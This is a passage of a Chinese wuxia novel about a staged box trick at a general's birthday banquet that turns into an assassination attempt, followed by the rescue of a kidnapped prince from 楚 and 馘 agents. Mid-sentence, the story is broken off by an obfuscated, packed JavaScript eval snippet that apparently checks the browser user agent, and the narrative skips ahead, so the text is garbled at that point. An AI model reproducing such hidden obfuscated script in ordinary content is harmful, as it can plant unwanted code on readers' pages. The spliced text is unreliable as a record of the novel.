翼王笑:“皇兄,你这样问一个女孩子家,她怎么好意思说呢?您该问问皇嫂,或者问问玉将军,她们身为女人,一定理会得!” 玉旒云差点儿没被他这话气得跳起来。幸亏愉郡主先跳了:“谁看上他那个应声虫?什么牢什子的东珠,本郡主才不稀罕!不是有戏看吗?快上戏!快上戏!”一叠声地叫着,又在翼王身边的桌上坐了下来。仆人们适时摆上酒菜,那边台上热闹的北戏乒另乓啷地扮演起来,这小小的风波才平息下去。 石梦泉却没有心情再饮酒了,时不时地看看玉旒云的动静。玉旒云不说话,只喝闷酒,酒杯一次一次地落在桌上,也一次一次砸在石梦泉的心里。 北戏不时唱罢,该上杂耍了。什么口中喷火,刀上走人,都是寻常的街头功夫,深宫中人,尤其庆澜帝夫妇,难得一见,觉得新鲜万分。余人倒提不起什么兴致。耍了片刻,上来一个五十开外的老头儿,朝座中各位行个礼,跟着一打呼哨,后台竟蹿出一头斑斓猛虎! 在座无不大惊,庆澜帝的侍卫们有的已拔出了配刀。 可老者示意大家放心,打了个手势,那猛虎就的一滚,变成了一个后生。众人怎不目瞪口呆,半晌,才齐齐鼓掌叫好。 老者抱了个团揖,冲后生挥了挥手,后生就闪转腾挪表演起拳脚工夫来,有力处犹如黑熊猛虎,迅捷处又似猎豹雄鹰。最绝的是,单脚在台上一点,整个人就蹿起两丈多高,机灵灵翻了三个筋斗,落地亮相,又变了个姑娘! 众人可真是要拍案叫绝了。庆澜帝叫人重赏,道:“老人家,你可真把朕弄糊涂了。这究竟是位后生还是个姑娘呢?” 老者跪下“咚咚咚”磕了三个头:“回皇上的话,这是个姑娘,是老汉的女儿。到三十多岁才得这一根独苗,是不得已,才让她抛头露面。今蒙皇上、皇后娘娘看得起,就叫小女再表演个绝活儿给大家助助兴。” 庆澜帝准了。老者就让人从后台抬上一口箱子来,道:“各位贵宾,您莫看老汉身无长物,其实这是口家传的宝箱。我家祖上从雪原坚冰之中凿这口箱子来,一天夜里寒冷,先祖无处取暖就躲进箱内,一觉醒来,竟到了瑶池边,见到了西王母。王母可怜他,说看他好歹也是个有仙缘的人,就送了他蟠桃一只。先祖吃了之后,享寿一百五十六岁。先祖知道这箱子乃是去往瑶池仙境的通路,很希望我后辈子孙能得神仙眷顾。不过可惜,一直到老汉这一辈还是没一个有缘人。但老汉的女儿就不同了,别看她小小年纪,却已经七次上天和王母娘娘会面。今日玉将军生辰大喜之时,就让小女去向娘娘讨了寿桃来。”说着,把箱子打开,对姑娘嘱咐了一番,让她躺进去,又将箱子锁上了。 玉旒云还是擎着酒杯一言不发。石梦泉当然也没心思看什么蟠桃献寿。只翼王笑道:“老人家,你先不要吹牛。皇上和皇后娘娘在此,要是拿不来蟠桃,可要治你欺君之罪。” 老者点头称“是”,敲了敲箱子道:“女儿,你可要好好跟王母娘娘要桃子,咱父女的性命可都在这桃子上了。” 不听箱里有人应声。老者道:“莫非这么快就已经上天去了?”打开盖来一看,里面果然空空如也。 庆澜帝等人都觉得十分神奇,连愉郡主也忘了先前的不开心,问道:“老人家,你女儿要去多长时间?” 老者道:“这个不一定,要看王母娘娘心情如何,留不留客了。少则一柱香,多了也就一个时辰吧。老汉先唱个曲儿来给各位解解闷。”因合上了箱盖,开口唱道:“王母瑶池景物鲜。蟠桃华宝不知年。天教把定春风笑,来作人间长寿仙。披蕊芨,诵云篇。朝朝香火篆炉烟。只将清静为真乐,合住春秋岁八千。” 这是寻常的喜庆贺寿歌谣,然老者声音沙哑,颇有悲凉之意,唱边塞曲恰合适,唱这首歌就有些滑稽刺耳。庆澜帝等人只是随便拍了拍手就算了。 偏这时,听得箱子中“轰隆”一声巨响。众人都惊道:“何事?”老者也是满面茫然,打开箱盖,里面“呔”地一声喝,跳出个门神般的武将来,斥道:“方才那没规矩的小丫头可是你派来的?” 老者吓得两腿如筛糠:“那是……那是老汉的女儿,不知她哪里冒犯了仙官?” 门神道:“好你个不知死活的老头儿,竟敢教唆女儿上天来偷我们王母娘娘三千年一熟的蟠桃!” “三千年一熟?”老者惊道,“老汉只叫女儿去向王母娘娘讨些一百年一熟的桃子,可没敢动那三千年一熟的。仙官是弄错了吧?” 门神道:“还要狡赖?一百年一熟的桃子每年重阳节就派完了。你既然晓得有这种桃子,怎么不知道派桃子的规矩?如今剩下都是三千年一熟的。你女儿敢动这些稀世珍宝,我们已把他拿下了,要在桃园里挑满九千九百九十九担水,才放她回来。念她是个孝女,一直惦记你无人供养,特来跟你说一声。” 老者声泪俱下:“仙官,我只一个女儿,她被关在天上,我可怎么过呀?您请行行好吧!” 门神“呸”地啐了一口:“我管你?自作自受!”跳进那箱子里,一阵烟雾过去,就消失得无影无踪。 座上诸人不知是否在梦里,直到愉郡主冲上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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愉郡主恼极了,推着石梦泉道:“看,看,你跟的是一个什么主子?为她卖命哪会有好下场?今天要是你给王母娘娘抓去了,她也不会去救你的。难怪那神仙说她是‘孤星鬼煞’,看她注定了害死她身边所有的人!” “小愉!”庆澜帝喝道,“口没遮拦。事已至此,你还添什么乱?” 愉郡主嘟着嘴只是不服。 庆澜帝又问玉旒云道:“玉爱卿,你看这……朕莫不是在发梦么?你是孤星鬼煞?那仙官也如此惧你,你能不能就把那姑娘救了回来?” 玉旒云轻轻地哼了一声,目光冷冰冰地扫过台上的箱子和旁边涕泗滂沱的老者,继而起身恭恭敬敬向庆澜帝回话道:“万岁,您不是在梦中,但臣也不是什么‘孤星鬼煞’。这不过是一伙江湖术士为了骗人钱财而搞出的把戏罢了。万岁切不可为他们所蒙骗。” “天地良心啊!”那老者号啕,“老汉我好心为玉将军祝寿,现在连女儿也赔进去了。玉将军看我们父女命贱,不肯出手搭救也就算了,却这般出言污蔑。老汉我……还是一头碰死,到阴间去等我那苦命的女儿去吧!” 玉旒云“嗤”地笑出声来,背着两手踱到台前:“老虎可以变成男人,男人又可以变成女人,女人又会变成神仙——你的把戏倒很高明。倘是为了骗钱,我可以放你离去,但是你若另有企图——”她没说下去,但阴鸷的眼神可叫人连打几个寒噤。 老者擦了擦眼泪,不卑不亢:“将军这么不信老汉?请您亲自来看看这箱子——就算我女儿能化装变换,总不至于大活人也变没了吧?” 玉旒云依言凑近了望望,仿佛有几分相信的样子,可又缩回头来,道:“箱子的古怪,我看不出来并不等于就没有。就算没古怪,真如你所言,你女儿是上了天,在天上的日子岂不比在人间随你卖艺要好?你还是多拿些银两,回去吧。” 老者瞪着她:“你……你……你……”连说了有十几二十声,才一咬牙,道:“人说做将军的只管攻城掠地,不顾百姓死活,老汉本来还不大信,今天算是见到了!” “说什么!”一阵“呛呛”声,侍卫们的刀都出了鞘,“这是犯上做乱的话,老头儿你活得不耐烦了么?” 老者道:“女儿没了,我活着也没意思。你们就杀了我干净!”说罢,脖子一横,是引颈就戮的意思。 局面闹僵了。 石梦泉轻轻走到玉旒云的身边:“要不,我替你探一探这箱子的古怪?” “不。”玉旒云坚决的,“箱子若有古怪,也跟什么王母娘娘没关系,更跟咱们没关系——你不会也相信他们的胡话吧?” 我自然不信,石梦泉想,不过,若不亲身试一试,拆穿那箱子的底细,你岂不是还要被这老头儿污蔑? 玉旒云看穿他的心思,会意地一笑,但依旧摇头。 “唉,真是麻烦!”翼王也离席走到台前,“不如这样吧,本王来替玉将军上天去讨回小姑娘来——本王乃的当今天子的亲弟弟,不会连这点仙缘也没有吧?” 老者嗫嚅着:“这个……老汉可不晓得……王爷千金之躯……” “哎——”翼王笑道,“本王是千金之躯,玉将军是本王的未婚妻,难道就不是千金之躯了么?” 此言既出,玉旒云冰冷的眸子里立刻燃起了怒火:“你说什么!” 翼王哈哈大笑,俯下身来,凑到她耳边道:“你不是怀疑箱子有古怪吗?本王就替你试出来。本王这是以身犯险,你可要记住这份情意!” 玉旒云的脸由通红变得铁青,转头要恨恨瞪翼王一眼,让他死了这心,可翼王已经跨进箱子里去了,还招呼老者:“盖上!”箱盖“砰”地一声落下,他得意洋洋的笑声终于听不见了。 “哎呀,十四弟!”庆澜帝呼道,“这……这……”他没个主张,看着玉旒云。 玉旒云牵了牵嘴角,面色又恢复了冷冷的瓷白色:“万岁放心,要是王母娘娘敢留下翼王爷,臣就留下这欺君枉上的老头子——来人,开箱子!” 侍卫们应声而上,掀开箱盖来,早就不见了翼王。 “还真的上天去了呢!”玉旒云冷笑,一挥手,“把这个犯上作乱谋害皇亲的刁民给我押下!” “是!”侍卫们佩刀寒光闪闪,迅速将老者围住。 老者原本愁苦委顿的神色在这一刻为之一变,双目射出两道精光,喝声“来”,右掌劈出,空手入白刃已抢下了一柄刀来,左掌又“砰”地一下,正中一个侍卫的面门,这人仰天倒下,哼也没哼一声,就已毙命。 玉旒云未防备他突然发难,更料不到他竟有如此了得的身手,不禁骇然,“呛”地抖出了长剑来,高呼道:“保护皇上!”禁军护卫们这才从震惊中惊醒,火速守卫到庆澜帝夫妇身边。 老者啧啧一笑:“就凭你这个娃娃就想阻止我取狗皇帝的性命?我就先杀了你!”抖了个刀花,唰唰连劈,直向玉旒云攻来。 石梦泉眼明手快,抢步插到了两人中间。他平日使的是长枪,赴宴时不曾带着,此时只有徒手相搏。那老者前来行刺,自然不同人讲江湖道义,刀削连环,看势头非要把石梦泉的手臂废了不能罢休。 玉旒云哪能眼看着石梦泉遇险?她的剑法以轻灵迅捷为长,和石梦泉稳扎稳打的作风刚好取长补短。她每见石梦泉晃个虚招,她就欺身而上补上一记实的,而每遇石梦泉要出实招了,她必先刺一记虚招诱敌。他二人从小一处长大,一起读书习武,对相互的脾性都摸得一清二楚,配合之下当然天衣无缝。 只是,这样真正的共同对敌,只在从前与宫里武师喂招时才用,后来上了战场,玉旒云的军阶比石梦泉高,除了落雁谷之外难得以实对实的“并肩作战”。如今又找回了儿时的感觉,石梦泉不由得心中一动,偷眼看了看玉旒云。 老者瞅准了这个空挡,朝他脖子上斜削过来,他只看一片白两的刀光,心底猛地一凉。 但听得“叮”一响,兵戈相撞之声,几点火星闪过他眼前——玉旒云的长剑帮他荡开了致命的一击。 “梦泉,你在发什么愣?” 连这个也被她觉察。石梦泉慌忙敛神屏气,专心应战。 如此争斗了数十个回合,老者固然武功高强,但玉、石二人联手他也久攻不下,毕竟年岁大了,拼不过两个廿多岁的青年,他渐渐喘息变粗,额头上也凝起了汗珠。 玉旒云注意到了,冷冷笑道:“老人家,你何苦负隅顽抗?是何人指示你来行刺皇上,只要你交代了,便可将功折罪。” 老者啐了一口:“是玉皇大帝王母娘娘派我来,我是天兵天将,要除掉这个荼毒生灵的狗皇帝!也要杀了你这个助纣为虐的鹰犬!”说时,一挑,一削,一劈,三招连环,一气呵成。 玉旒云一一化解了:“事到如今你还要满口胡言,休怪我不留情面!” 老者道:“谁要你留……”讲到那个“情”字时,喘息更甚,竟咳嗽了起来。石梦泉看准了时机,欺上前去一掌切在他的右腕上。老者钢刀拿捏不住,掉落在地。玉旒云片刻也不耽搁,长剑一挺,也点在了对手的咽喉上。 “老人家,敬酒不吃吃罚酒——非要剑指着你的喉咙才肯说话么?” 老者面色灰黄,汗如雨下,但神色却泰然自若:“敬酒都不吃,怎么吃罚酒?用剑指着我的喉咙,我就更……”说至此,又是一阵剧烈的咳嗽。玉旒云看他喉头起伏,却猛地朝自己的剑尖上撞来,连忙把腕子一沉,撤开了剑去。老者重心不稳,一跤跌在了玉旒云的脚边。这本是他再次发难的大好机会,可说时迟那时快,石梦泉单脚挑起落在一边的钢刀,手接了,“呼”地一下又逼到了他的脖子上。 求死不成,求生也无门,老者眼睛如死鱼般死死瞪着这两位年轻的将军。 “还有什么花样?”玉旒云嘲讽地,“一并都使了出来。使完了你才能死心。” 老者死死地咬着嘴唇,嘴角都出血了,良久才惨然一笑:“我死,但是我不死心!”话音落下,人竟“咕咚”栽倒在地。石梦泉诧异地扳过他的身子,才发现他口中流出的全是黑血,已服毒自尽了。 “将军,这……” 玉旒云只瞥了那尸体一眼,吩咐:“收拾干净,封闭将军府。” 庆澜帝才从惊慌中恢复过来“玉爱卿,你说封府?” “是。”玉旒云道,“委屈皇上和皇后娘娘先在微臣的府里休息,待微臣将一干乱党缉捕归案,再护送二位回宫。” “乱……乱党?”庆澜帝显然是心有余悸,“你说缉捕他们,难道已经知道他们的来路了么?” “虽然不确定,”玉旒云道,“但也猜出了大概,应是楚国来的奸细。” “楚国!”庆澜帝大惊,“何以见得?” 玉旒云道:“仙官门神,我们樾国的传说里都是三只眼的,即额头上还有一只眼。而方才那箱子里变出来的神仙却只有两只,是楚国的说法——不信,皇上可以问问皇后娘娘。” 玉朝雾变乱之后脸色苍白,不过还是点点头:“的确,过往楚国人家里挂门神,都是两只眼的。” “好你个狠心的玉旒云!”愉郡主跳将出来骂道,“你老早就看出来那老头儿是楚国的奸细,你怎么还让翼哥哥进了那口箱子?现在奸细也死了,翼哥哥还没找到,你……你这不是存心要谋害他吗?” 玉旒云看到这位郡主就心里有火:“翼王爷是自己非要进那箱子去的。他是君,我是臣,他要不听我劝告,我能奈他何?” “你——”愉郡主涨红了脸,“那你现在又忙着封什么将军府?还不快派兵挨家挨户地搜,把翼哥哥救出来?” 玉旒云嗤笑:“该怎么办事,似乎还轮不到郡主来教我。” 愉郡主的脸已经比苹果还要红了,跺着脚又朝石梦泉叫道:“那个谁,石梦泉,你总不会也见死不救吧?” 石梦泉垂下头:他只听玉旒云一个人的号令。 愉郡主真是火冒三丈:“你们都不去,那我去!我就拿我父王的令牌去找九门提督,就是把西京翻过来,我也要救出翼哥哥!”说时,她拧身就朝门口跑。 “慢着!”玉旒云一喝,侍卫就拦住了愉郡主是去路,“皇上和皇后娘娘都留在臣的府内,郡主自然也不能离开。” “你敢拦我?”愉郡主气冲冲,“你小小的一个公爵,你反了么?” 玉旒云不理她,只向庆澜帝道:“万岁,臣怀疑楚奸在西京聚集,意图颠覆我朝。若不能将其铲除,我朝机密将尽入楚人手中。臣请万岁给臣一道口谕,让臣全权缉拿奸细。届时京城上下,除万岁外,须直接听令于臣,如有违抗者,军法处治!” 庆澜帝看着玉旒云长大,又曾经让她做过自己的侍卫,知道她的本事,在此危急时刻只有更加信任,当即点头:“朕准了。” 10. 第 10 章 樾国京城护卫有侍卫禁军、护军和步军。侍卫禁军是皇帝亲军,仿楚制,执侍从兼宿卫之职,设领侍卫内大臣。楚制,此领侍卫内大臣由亲信宦官担任,但樾国太祖以来,为免宦官专政,乃以亲贵大臣充之。护军把守禁宫门户,以天罡北斗,分为天枢、天璇、天玑、天权、玉衡、开阳、摇光七营。前三营守卫皇宫,后四营守卫皇城,若遇皇上出宫祭祀或秋狩围猎,护军也要担扈从之责。原本护军设提督,统领号令,不过太宗末年和仁宗年皇子争位护军提督和禁军领侍卫内大臣各为其主几乎闹出禁宫兵变,仁宗就把护军提督这个职位撤消了,大小事务一并交由领侍卫内大臣直接负责。步军的规模较前两者为大,主要负责京师城门守护及抓捕逃犯,但皇上出巡时,也要担当护卫。因樾国西京有九门,所以步军统领又叫“九门提督”,官职和楚国的执金吾相同。 玉旒云请到了庆澜帝全权信任的圣旨,立刻让人传令给九门提督,让他对九门出入之人严加盘查,同时,请他派所辖巡捕中营的督尉潘硕立刻来玉府相见。吩咐完毕,她就好整以暇地让仆人沏一壶茉莉香片来,和石梦泉同饮。 石梦泉看她这副胸有成竹的模样,有些不解:老刺客死了,戏班子是宫里带出来的,杂耍班子诸人一口咬定老刺客是新近才加入班子的,而引见他父女的人早就不知去向——所有的线索都断了,如今上哪里去找奸细?又上哪里去救翼王? 玉旒云镇定地品着茶:“翼王么,楚人把他弄死有什么好处?活的翼王至少可以做个筹码,威逼我们割让些土地;而死的翼王——哼,楚人掂量掂量他们的兵力粮草,看有没有本事再玩一次十五年前的把戏!” 石梦泉知她指的是什么:十五年前,樾楚之争中樾国大获全胜,楚国京城都几乎被攻破。后来就请求议和,并送了一位公主来和亲。不想,这位公主在樾国神秘遇刺,楚人乘机撕毁合约。当时樾国正是太宗末年,太宗诸子为了皇位,兄弟阋墙,同室操戈,争斗一直持续到仁宗年。楚军此时偷袭,自然得着不少好处。可如今,樾国兵强马壮,扫荡四方,势不可当,楚国却年来天灾不断,据南方探子回报,楚国乡村十室九空,再也征不到壮丁了。落雁谷损兵折将之后,楚人应该不敢轻易出兵。 “可是,”石梦泉道,“总不能就任他们挟持翼王爷吧?” “那又如何?”玉旒云笑道,“翼王这家伙早该吃点苦头了。若不给他点颜色看看,他以为我玉旒云是吃素的。这不知天高地厚的家伙!” “但……”石梦泉依然觉得不妥。 玉旒云笑着把他的茶向前推了几分:“你别急,这是好茶,先尝尝——翼王毕竟是我樾国贵胄子弟,让他落在楚人手中有失我皇朝尊严,我自然会把他拎出来的。” 不用“救”,偏使一个“拎”字,玉旒云对翼王的厌恶可见一斑。 “那……”石梦泉沉吟着,“你让九门提督火速赶来,想让他搜遍西京么?楚奸藏身何处,我们可没有头绪。” 玉旒云笑得狡黠:“我们没有,可它有——梦泉,我给你看样好玩意儿!” 石梦泉被她弄糊涂了,跟着走到里间,只见桌上一个笼子,内中养只貂鼠,通体漆黑,没有一丝杂毛。 “这是?”庆澜帝送他一只狮子,她自己又养一只貂鼠?玉旒云什么时候也喜欢上动物了? “这是‘黑无常’。”玉旒云打开笼子将貂鼠抱了出来,在怀里逗玩着,“你到南方去的时候,我养了这么个宝贝,才两个月大,却厉害得紧。” 石梦泉不解。 玉旒云又把貂鼠放回笼中,从小屉子里取出一个仿佛胭脂盒的匣子来,打开了,内中是如那貂鼠皮毛一般乌黑油亮的膏子,幽幽地散发出一股奇特的香味。玉旒云把匣子敞开在空中随便晃了几下,那笼中的貂鼠即“吱吱”乱叫起来,四爪在笼壁上乱抓,好像拼死要逃出来一般。而玉旒云将那匣子一盖,没一刻,貂鼠又恢复正常了。 石梦泉觉得好是稀奇:“这是什么玩意儿?” “这是毒药。”玉旒云道,“名叫‘□□’,又叫‘阿芙蓉’,原产在比西瑶还要往南的湿热之地,花朵虽鲜艳美好,但是果实却可使人上瘾。尤其从果实炼制的这种软膏毒性最大,若放在烟枪里吸食,民不思稼穑,兵不能征战,一个国家也可毁灭。我国不产此毒物,太祖皇帝在书中见到记载,就明令禁止培植与提炼,防患于未然。但上个月有人举报西京来了些外邦商人,经营此物。顺天府将这些商人全都斩了,缴获的□□却没有尽数销毁——八成是府尹自己想发横财。偏巧被我撞到了,就把□□统统没收。本来只是想试试它的毒性是否真的有记载中的那么大,所以喂养了这只貂鼠——它就是吃□□长大的,现已毒瘾深种,不可自拔了。” 原来如此。石梦泉点点头:“那就没有解毒的办法么?” “我还没想到那一层。”玉旒云道,“这只貂鼠现下最大的用处其实是搜寻□□。出入京城的货物众多,倘有人居心叵测走私□□要毒害我国臣民,顺天府衙门实在不够精力彻底盘查。有了这貂鼠,哪怕是山一样的货堆,它蹿上去,若有□□也能立刻挖掘出来,实在便宜。” “那这和……寻找楚奸下落有何关联?难道他们藏了□□么?” “他们没有。”玉旒云笑道,“不过,我在翼王身上放了一些——就在他进箱子之前。”说时,晃了晃腰间的七巧荷包:“连月来驯养‘黑无常’,我随身带着□□。翼王身上被我抹了蚕豆大的一块膏子,黑无常鼻子灵,嗅到了一定会飞扑上去的。” 正讲到这里,外面报说“巡捕中营的潘大人到了”,玉旒云就把荷包也朝屉子里一锁,提上黑无常的笼子:“走,咱们抓人去!” 由戏台开始追踪,出玉府,一路曲折,穿过了小半个京城,在一所四合院外停了下来。玉旒云亲自轻身跃上墙头望了望里面的动静,接着命令潘硕立刻调集人马在四周埋伏,看她号令行事。 潘硕领命而去,玉旒云命所带的其他几名禁军高手注意着变化,自己笑着朝石梦泉眨了眨眼:“怎样?来见识见识这些够胆子潜入我家里的楚人?” 石梦泉知她是要潜进院里一探究竟,怎能容她孤身涉险?点了点头,两人一齐悄然无声地跃上了房去。 一眼就看到翼王了。贼人的胆子颇大,就只把他堵了嘴巴,蒙了眼,五花大绑丢在院子里——难怪方才玉旒云只瞥一眼就晓得来对了地方。院中也无人看守。北地十月的夜晚凉意透骨,幸亏一只小炉子不知在炖些什么,咕嘟咕嘟冒着热气,否则翼王不冷死也要冻残。 石梦泉便欲下去救人,被玉旒云拦住了。再等一等,玉旒云无声地命令,接着轻轻走到偏厢的房上,好张望正堂里的动静。 正堂里有十来个人正在吃饭,围着一只热腾腾的沙锅,蒸汽让每个人的轮廓都有些模糊,不过可以依稀看出有一个是女子,其余的人身材不高,也都像是南方人。有人对那女子道:“刘老前辈恐怕已经落到了玉旒云的手中,是凶是吉,我们担心也无用。得先看看玉旒云那边是什么反应,再行营救,不然,恐怕打草惊蛇,坏了大事。” 女子默默不语。 旁边又有人道:“不知刘老前辈会不会……你们说,狗皇帝和玉旒云会不会已经知道了是咱们做的?” “你什么意思?”女子哑着声音道,“你是说师父受不了拷打,泄露出大伙儿的身份?你也太小瞧我们琅山派的人了!我师父宁可自尽,也决不会说半句出卖同胞的话!” “刘老前辈师出你琅山派那是没有错,楚国武林你琅山牌名头响当当,也是没有错。”那人道,“不过,今天在这里的除了你们楚国武林中人,大部分是我们馘国的义士?你们口里没说,然而心里真的把我们当成同道么?” 女子登时拍案而起:“一笔写不出两个绿林。再说,楚国和馘国难道不是盟友?我们楚国得各路英雄来刺杀狗皇帝,是想阻止樾寇进犯我国,你们馘国的诸位是想助贵国皇帝复国。虽然大家目的不同,但任务却是一样,就算得同气连枝。现在说出这种话。这算什么?” 原来不止是楚国奸细,还有馘国的!玉旒云和石梦泉交换了一个眼色。他们知道楚人收留了馘国景康帝,虽然还以外宾礼相待,但是从始至终没有想过要帮他复国——馘国灭亡已经是不争的事实,凭几个匹夫就想要颠覆樾国的统治,简直是痴人说梦。就算真的要夺回领土,也应该在西方六省直接策动叛乱,才最为便宜。竟山长水远地跑到西京来刺杀庆澜帝,真是愚蠢之极! 当然,楚人为了防止步馘国的后尘,想要先下手为强,那又另当别论。石梦泉看玉旒云眯起双眼,一线冰冷的光芒。他知道她心里怎么想:卑鄙的楚人! “曹姑娘误会了。”有一个人看局面要闹僵,赶紧打圆场,“赵大侠的意思是,樾人狡猾无比,尤其那玉旒云,虽然年纪轻,却阴险狠毒,咱们对她不得不多多防备。此刻身在樾国,就是身在她的手掌之中,万一露出什么破绽,便满盘皆输了。” 那曹姑娘道:“张千总说的我何尝不知?不过,看样玉旒云还未查出是何人所为,是以只让步军严查进出城门的人。西京这么大,他要挨家挨户搜查是不可能的。我们只要熬过了风头,应该没什么大问题。” 张千总道:“说的不错。”又叹了口气,道:“本来精心设计这出好戏,是想把玉旒云抓起来,方便刺杀狗皇帝,如今只抓了这么一个草包王爷……” “虽然是草包,”那曹姑娘道,“却可以用来交换我师父!” “不行!”另一个人沉声道,“刘老前辈要救,但是我以为不可用草包王爷去换。” 余人都是一惊,听他继续说。这人道:“要换人,难免就要和樾人交涉,要约时间、地点。这其中有太多的环节他们能够使诈。方才张千总也说了,咱毕竟是到了樾匪的地盘上,诸多不便,也有诸多危险,一不小心就会钻进别人的套子去——那个玉旒云,我虽然没有跟她打过交道,但是今天如此妙计都被她识穿,可见她精明谨慎,诡计多端。若非如此,她怎么能在落雁谷能够以少胜多使耿将军的部众覆没?我们都是名门正派,几时和阴险小人打过交道?能不和她正面交手,还是不要正面交手的好。” 听他前面的分析,倒是冷静有理。然而后面竟以“名门正派”为理由,解释自己为什么敌不过玉旒云,实在可笑无比!玉旒云望了望石梦泉,那意思是:原来在他们眼中,我是一个这么可怕的对手么? 石梦泉笑笑,想,虽然现在玉旒云才初出茅庐,但其实没有人想真正做她对手啊! 楚、馘两地武林中人继续商讨:“铁大侠说的极是!那这草包王爷就没有用了。留着反而是个累赘。怎么处理才好?” 姓铁的摸了摸下巴:“怎么来的,还让他怎么回去。左右他也没见过咱们,不知道咱们落脚的地方,回头咱就把他丢到哪个偏僻的小巷子里去。等他醒过来,还以为自己是被天兵天将丢下凡来了呢!” 玉旒云差点儿笑出声来,一手捂着自己的嘴,一手拉过石梦泉的手掌来,写道:“最好他们把翼王丢在猪圈茅厕边,他就以为自己投胎做了蛆虫了!” 石梦泉见她这时候还有心情开玩笑,也为之一哂。他二人自有默契,开怀之后还不误正事,密切关注着刺客们的动向。 听那曹姑娘道:“铁大侠的计策虽然稳妥,但是花了这么大的力气,还……还让我师父也……怎么能这么便宜这些樾匪?” 姓铁的道:“曹姑娘,你们琅山派和我铁剑门气同连枝。刘老前辈就好像铁某自己的师父一般。他如今遇险,铁某心中焦急不下姑娘。但是,正像方才曹姑娘自己说的,我们楚、馘两地武林义师和张千总一同北上,一是为了帮助馘国皇帝复国,二是为了粉碎樾匪南侵的阴谋。这两者都是大局,怎可在一件事或者一个环节上斤斤计较?” 曹姑娘不作声。其他人则问:“铁大侠有什么好计划么?” 姓铁的道:“铁某只是以为,应该尽快重新计划刺杀那狗皇帝。要问我没有计策,只能或有些初步的考虑。我说来,大家觉得有不妥的,再一同商量,如何?”见众人都点头,他就道:“我虽然说要把草包王爷送回去,但是可没说白白地便宜樾寇。我们铁剑门有九虫丹,只要给草包王爷吃了,会全身又痛又痒,没有独门解药则最终周身溃烂,九九八十一天便一命呜呼。他是狗皇帝的亲弟弟,如果得了‘怪病’,狗皇帝一定会广招天下名医来给草包王爷看病。如此一来,岂不就是我们的机会?” 好哇!玉旒云冷笑:才说自己是名门正派,无动的阴险手段,转眼就打算拿毒药害人了!她打从心眼里厌恶这些武林中人,不过,若他们能给翼王一点苦头吃也不错。因转头看看石梦泉:你以为呢? 石梦泉自己也不喜欢这个厚颜无耻的王爷,但是若楚人真向樾国的皇亲国戚下毒手,他做臣子的决不能袖手,因此向玉旒云摇摇头,劝她也不要任性。 玉旒云挑了挑眉毛,正想反对,猛听“嗖”地一声响,接着有“吱吱”的叫声。那姓铁的喝道:“谁?”跟着飞身跃出房外。 玉旒云和石梦泉连忙伏下不动。石梦泉用极低的声音问了一句:“怎么了?” 玉旒云道:“是黑无常。”原来这貂鼠禁不住翼王身上□□的诱惑,挣脱了外面某个禁军兵士的掌握,蹿进院子里来了。 房中的楚人全都跟着姓铁的来到了院子里,只见貂鼠在翼王身上乱爬,原本昏迷的翼王因醒了过来,发出咿咿呀呀的声音。 “哪里来的畜生?”曹姑娘呵斥,跟着“唰”地一挥剑,貂鼠才发出“吱”的一声惨叫,就身首异处了。 石梦泉好不心疼,望了望玉旒云,见她满不在乎的神色。“吃毒药长大的畜生,本就活不长的。”玉旒云低声道,“你看看潘硕的兵来了没有。” 石梦泉应了,朝后面巷子里的士兵打个手势。那士兵提起灯笼来,光晕里正好可以看见潘硕,朝上面点点头。 便来回报玉旒云:步军准备停当。 玉旒云的嘴角挂起一丝阴冷的笑容:“张弓,搭箭,把这地方给我围了。” 虽然那些都是武林豪杰,但是步军巡捕中营精锐二百人强弓铁箭包围,又有禁军高手助阵,双方交上手还没有一柱香的时间,战斗便结束了。四合院里共有十二名刺客,被步军当场射死三人,禁军击伤两人,其余束手就擒。 围捕是由潘硕指挥的,玉旒云在战斗刚一打响就独自回府去了,叫石梦泉留下压阵,将犯人关到巡捕中营的大牢里,把狼狈的翼王护送了回府,才和潘硕一起向玉旒云复命。 玉旒云已把庆澜帝夫妇送回宫了,剩个愉郡主非要等到翼王的消息不可。石梦泉回说翼王安好无恙,愉郡主又拉着石梦泉问长问短:奸细是怎么抓的呀,危不危险呀,石梦泉有没有受伤呀……烦得石梦泉简直头皮也发麻了,才有太监传话来:“太后娘娘叫郡主过去。”这才终于把愉郡主打发出门。 玉旒云简单地问了问围捕的经过,就夸赞潘硕:“干净利落,果然适合在步军衙门办差,看宫门多浪费?” 潘硕连忙顿首说“不敢”。其实他和玉、石二人相识也久了。他原在护军中任职,身手既好,办事又稳重。只是太过正直,太宗和仁宗年间因为不肯依附任何一个皇子而受到不少打压,到了三十岁还没有外放建功的机会。庆澜帝登基之后,在九门提督衙门下增设了巡捕中营,玉旒云就推荐潘硕出任督尉。算来,他还欠了玉旒云一个大人情,后来玉旒云外放,东征西讨,他还没机会好好当面感谢。今天能够帮玉旒云捉拿刺客,也算是报答。 “你不用谦虚。”玉旒云道,“大家在宫中共过事,我只佩服有本事的人。你们提督大人年事已高,我听皇上说他有意告老还乡。你好好表现,我自然保举你接替他。” 潘硕觉得自己能够从宫门护军小小的副参领一跃成为巡捕中营督尉,已经很满足了,至于九门提督,他想也不敢想。“只要是能为皇上办事的,下官做什么都可以。多谢玉将军提携。” “朝廷中的职位也应该让有本事的人来做。”玉旒云笑道,“今天左右是辛苦你了。那些抓来的犯人请你分开关押,务必使他们不能互通消息。” “是。”潘硕领命。见玉旒云没有其他吩咐,就退了出去。 玉旒云则对石梦泉笑道:“年年生日,这次居然楚国也给我送一份大礼,实在让人开心。” 发生了这么多事,石梦泉几乎都忘记生日这茬儿了,见玉旒云谈笑自如,也就陪着笑了笑,道:“可我看这份礼倒棘手得很。他们对我国形势如此了解,恐怕除了今日落网的九人之外,还有些不知埋伏在什么地方。” 玉旒云哈哈大笑,拍了石梦泉一掌:“你真不愧是我的好兄弟。我能想到你也想到——若你不在我身边,旁人执行起命令来我光解释就要烦死了。” 一语,说得石梦泉心里犹如春花灿烂。“我哪能及得上你?”他掩饰着如狂的欣喜。 玉旒云道:“咱们固不知道楚奸埋伏在何处,但是我却有办法让他们自己暴露出来。” “此话怎讲?”石梦泉问。 